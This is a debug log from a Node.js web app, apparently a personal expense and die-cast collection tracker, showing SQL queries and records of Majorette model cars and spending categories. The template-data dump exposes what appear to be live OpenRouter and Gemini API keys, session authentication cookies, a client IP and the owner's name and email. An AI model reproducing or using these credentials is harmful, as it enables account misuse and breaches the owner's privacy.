      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:53.619Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:53.620Z server-connect:app Executing action step identify
2026-02-04T10:57:53.620Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:53.620Z server-connect:output identity: 1
2026-02-04T10:57:53.620Z server-connect:app Executing action step restrict
2026-02-04T10:57:53.620Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:53.620Z server-connect:output restrict: undefined
2026-02-04T10:57:53.620Z server-connect:app Executing action step paged
2026-02-04T10:57:53.620Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:53.622Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:21.997Z server-connect:router Serving templateView /diecast
2026-02-04T11:02:21.998Z server-connect:app Executing action step identify
2026-02-04T11:02:21.998Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:21.998Z server-connect:output identity: 1
2026-02-04T11:02:21.998Z server-connect:app Executing action step restrict
2026-02-04T11:02:21.998Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:21.999Z server-connect:output restrict: undefined
2026-02-04T11:02:21.999Z server-connect:router Render template layouts/main
2026-02-04T11:02:21.999Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '173',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=173&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:02:23.057Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:02:23.057Z server-connect:app Executing action step identify
2026-02-04T11:02:23.057Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.057Z server-connect:output identity: 1
2026-02-04T11:02:23.057Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.057Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.058Z server-connect:output restrict: undefined
2026-02-04T11:02:23.058Z server-connect:app Executing action step select
2026-02-04T11:02:23.058Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:02:23.063Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:02:23.065Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:23.066Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:02:23.067Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:02:23.068Z server-connect:app Executing action step identify
2026-02-04T11:02:23.068Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.068Z server-connect:output identity: 1
2026-02-04T11:02:23.068Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.068Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.068Z server-connect:app Executing action step identify
2026-02-04T11:02:23.068Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.068Z server-connect:output identity: 1
2026-02-04T11:02:23.068Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.068Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.068Z server-connect:app Executing action step identify
2026-02-04T11:02:23.068Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.068Z server-connect:output identity: 1
2026-02-04T11:02:23.068Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.068Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.069Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:02:23.070Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:02:23.070Z server-connect:output restrict: undefined
2026-02-04T11:02:23.070Z server-connect:app Executing action step paged
2026-02-04T11:02:23.070Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:23.070Z server-connect:app Executing action step identify
2026-02-04T11:02:23.071Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.071Z server-connect:output identity: 1
2026-02-04T11:02:23.071Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.071Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.071Z server-connect:app Executing action step identify
2026-02-04T11:02:23.071Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.071Z server-connect:output identity: 1
2026-02-04T11:02:23.071Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.071Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.072Z server-connect:output restrict: undefined
2026-02-04T11:02:23.072Z server-connect:app Executing action step single
2026-02-04T11:02:23.072Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:02:23.074Z server-connect:output restrict: undefined
2026-02-04T11:02:23.074Z server-connect:app Executing action step select
2026-02-04T11:02:23.074Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:02:23.075Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:02:23.075Z server-connect:app Executing action step identify
2026-02-04T11:02:23.075Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:23.075Z server-connect:output identity: 1
2026-02-04T11:02:23.075Z server-connect:app Executing action step restrict
2026-02-04T11:02:23.075Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:23.077Z server-connect:output restrict: undefined
2026-02-04T11:02:23.077Z server-connect:app Executing action step select
2026-02-04T11:02:23.077Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:02:23.078Z server-connect:output restrict: undefined
2026-02-04T11:02:23.078Z server-connect:app Executing action step select
2026-02-04T11:02:23.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:02:23.078Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:02:23.078Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:02:23.079Z server-connect:output restrict: undefined
2026-02-04T11:02:23.079Z server-connect:app Executing action step select
2026-02-04T11:02:23.079Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:02:23.080Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
